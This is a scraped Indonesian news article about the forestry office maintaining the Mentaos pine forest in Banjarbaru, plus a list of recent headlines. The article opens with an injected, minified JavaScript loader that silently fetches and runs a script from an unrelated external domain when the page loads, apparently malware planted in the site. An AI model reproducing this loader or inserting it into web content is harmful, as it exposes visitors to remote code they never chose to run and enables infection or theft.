(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Hutan Pinus Dikelola Lebih Serius, Rencana Dishut Kalsel Tambah Sarpras Kenyamanan Pengunjung


KANALKALIMANTAN.COM, BANJARBARU – Dinas Kehutanan Provinsi Kalimantan Selatan kembali pelihara Hutan Kota Pinus yang terletak di Mentaos I Banjarbaru, Jumat (13/5/2022). Kegiatan pemeliharaan oleh Dinas Kehutanan yang dipimpin langsung Kadishut Fathimatuzzahra ini yaitu dengan melakukan pembersihan kawasan, serta penanaman beberapa batang pohon ulin, meranti dan tanaman hias di kawasan tersebut.

Saat ini Hutan Pinus Mentaos sudah dilengkapi dengan berbagai macam fasilitas yang nyaman untuk dijadikan sebagai kawasan rekreasi maupun alternatif destinasi wisata yang murah dan mudah dijangkau bagi warga. Rencananya akan ada penambahan sarana prasarana (sarpras) oleh Pemprov Kalsel guna kenyamanan pengunjung dalam berekreasi.

“Rencananya, untuk kedepan akan ditambah sarpras berupa pos jaga, hal ini dilakukan untuk memberikan rasa aman bagi para pengunjung, kemudian kita akan tetap berkerjasama dengan Pokdarwis sebagai bentuk pelibatan peran masyarakat dalam pemanfaatan hutan sebagai cara pemerintah dalam meningkatkan kesejahteraan masyarakat. Kedepan akan dilakukan pemungutan retribusi masuk oleh Pemprov Kalsel sebagai bentuk kontribusi hutan terhadap pendapatan daerah,” ucap Fathimatuzzahra.

Menurut Aya -akrab disapa- setelah kegiatan pembersihan ini, diadakan rapat dengan Pokdarwis di lokasi untuk lebih jauh membicarakan rencana pengelolaan yang akan dilakukan, sehingga pengelolaan hutan pinus sebagai lokasi wisata dapat berjalan optimal.

 

Baca juga : Peringati Hardiknas, Wabub Banjar Harapkan Pendidik Tangguh Pimpin Pemulihan dan Kebangkitan

Hutan kota yang luasnya 2 Ha tersebut dikenal masyarakat dengan Hutan Pinus I atau Hutan Pinus Mentaos, sebab tumbuhan di kawasan tersebut didominasi oleh pohon Pinus. Hutan kota yang terletak tepat di depan SMA Negeri 2 Banjarbaru tersebut saat ini dikelola oleh Pokdarwis Banjarbaru dan dijadikan kawasan rekreasi juga ruang publik bagi warga.

Penarikan retribusi nantinya akan diberlakukan, hal ini semata-mata untuk pemeliharaan dan perbaikan sarpras pendukung, agar Hutan Pinus Mentaos tetap menjadi kawasan rekreasi yang nyaman dan aman bagi warga. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

2 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

3 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

7 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

8 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

8 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

9 jam ago

This website uses cookies.